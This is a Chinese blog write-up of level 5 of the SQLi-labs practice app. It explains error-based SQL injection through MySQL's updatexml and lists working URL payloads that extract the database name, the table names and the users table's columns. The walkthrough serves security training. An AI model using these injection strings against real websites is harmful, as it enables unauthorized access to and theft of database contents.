Sqliabs Less-5

最新推荐文章于 2024-08-08 22:47:00 发布

原创最新推荐文章于 2024-08-08 22:47:00 发布 · 395 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #sql #mysql

本文详细介绍了如何利用报错注入技术通过Sqlilabs的第五关。通过分析updatexml函数的工作原理，特别是利用错误信息来揭示数据库信息，如数据库名、表名和字段名。经过一系列的SQL语句构造，最终成功获取了目标数据，展示了报错注入的实战过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Sqlilabs第五关采用报错注入的方式注入。

首先解释一下报错注入。报错注入使用的mysql函数是updatexml(XML_document, XPath_string, new_value)，可以看到这个函数中有三个参数，要利用的是第二个参数XPath_string,这个参数要求必须使Xpath类型的字符串，如果不符合要求就会报错，并且将这个参数的内容显示在页面中，比如在这个参数中拼接'~'符号就会显示错误。利用方式是可以在这个参数中拼接select语句来获得要查询的内容，比如version（）版本信息，database（）数据库名，table_name,column_name等信息。利用形式为：

updatexml(1,,concat(0x7e,(select datavase())),1)其中第一个和第三个参数可以随便写，第二个参数中的0x7e就是符号~，这样就会报错并且显示数据库的名字。

接下来看sqlilabs less-5的注入过程。

首先进入之后看到页面，并输入/?id=1后显示

接着尝试/?id=1 and 1=1和/?id=1 and 1=2

发现回显结果是一样的都没有问题，这时就要考虑字符型注入，加个引号试试

这时出现了错误信息，说明拼接的sql语句中是有引号的，而且后面还有limit，用--+将其注释掉

注入成功，接下来使用order by 确定有几个字段，发现有三个，再使用联合查询看是否有回显

发现没有回显，这时要考虑报错注入。

构造/?id=1' and updatexml(1,concat(0x7e,(select database())),3) --+

得到当前数据库名为security，接着获得表名

构造/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+

查询users表的字段名

/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),3)--+